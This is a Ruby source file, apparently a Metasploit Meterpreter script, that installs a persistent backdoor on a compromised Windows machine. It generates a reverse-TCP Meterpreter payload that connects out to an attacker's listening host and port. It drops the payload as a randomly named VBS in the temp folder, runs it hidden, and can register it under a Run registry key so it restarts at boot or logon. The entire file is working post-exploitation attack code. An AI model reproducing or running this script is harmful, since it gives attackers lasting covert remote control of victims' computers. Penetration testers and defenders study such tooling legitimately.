136 lines
3.6 KiB
Ruby
136 lines
3.6 KiB
Ruby
# $Id$
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#
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# Meterpreter script for installing a persistent meterpreter
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#
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session = client
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key = "HKLM"
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#
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# Options
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#
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opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "This help menu"],
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"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
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"-p" => [ true, "The port on the remote host where Metasploit is listening"],
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"-i" => [ true, "The interval in seconds between each connection attempt"],
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"-X" => [ false, "Automatically start the agent when the system boots"],
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"-U" => [ false, "Automatically start the agent when the User logs on"],
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"-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"]
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)
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#
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# Default parameters
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#
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rhost = Rex::Socket.source_address("1.2.3.4")
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rport = 4444
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delay = 5
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install = false
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autoconn = false
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##
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#
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# Option parsing
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#
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opts.parse(args) do |opt, idx, val|
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case opt
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when "-h"
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print_line(opts.usage)
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return
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when "-r"
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rhost = val
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when "-p"
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rport = val.to_i
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when "-i"
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delay = val.to_i
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when "-X"
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install = true
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key = "HKLM"
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when "-U"
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install = true
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key = "HKCU"
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when "-A"
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autoconn = true
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end
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end
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host_name = client.sys.config.sysinfo['Computer']
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# Create Filename info to be appended to downloaded files
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filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
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# Create a directory for the logs
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logs = ::File.join(Msf::Config.log_directory, 'persistence', host_name + filenameinfo )
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# Create the log directory
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::FileUtils.mkdir_p(logs)
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# Cleaup script file name
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dest = logs + "/clean_up_" + filenameinfo + ".rc"
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#
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# Create the persistent VBS
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#
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print_status("Creating a persistent agent: LHOST=#{rhost} LPORT=#{rport} (interval=#{delay} onboot=#{install})")
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pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
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pay.datastore['LHOST'] = rhost
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pay.datastore['LPORT'] = rport
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raw = pay.generate
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vbs = ::Msf::Util::EXE.to_win32pe_vbs(client.framework, raw, {:persist => true, :delay => 5})
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print_status("Persistent agent script is #{vbs.length} bytes long")
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#
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# Upload to the filesystem
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#
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tempdir = client.fs.file.expand_path("%TEMP%")
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tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
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fd = client.fs.file.new(tempvbs, "wb")
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fd.write(vbs)
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fd.close
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print_status("Uploaded the persistent agent to #{tempvbs}")
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#
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# Execute the agent
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#
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proc = session.sys.process.execute("wscript \"#{tempvbs}\"", nil, {'Hidden' => true})
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print_status("Agent executed with PID #{proc.pid}")
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file_local_write(dest, "kill #{proc.pid}\n")
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#
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# Setup the multi/handler if requested
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#
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if(autoconn)
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mul = client.framework.exploits.create("multi/handler")
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mul.datastore['WORKSPACE'] = client.workspace
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mul.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
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mul.datastore['LHOST'] = rhost
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mul.datastore['LPORT'] = rport
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mul.datastore['EXITFUNC'] = 'process'
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mul.datastore['ExitOnSession'] = false
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mul.exploit_simple(
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'Payload' => mul.datastore['PAYLOAD'],
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'RunAsJob' => true
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)
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end
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#
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# Make the agent restart on boot
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#
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if(install)
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nam = Rex::Text.rand_text_alpha(rand(8)+8)
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print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
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if(key)
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registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,tempvbs,"REG_SZ")
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print_status("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
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file_local_write(dest, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n")
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else
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print_status("Error: failed to open the registry key for writing")
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end
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end
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print_status("For cleanup use command: run multi_console_command -rc #{dest}")
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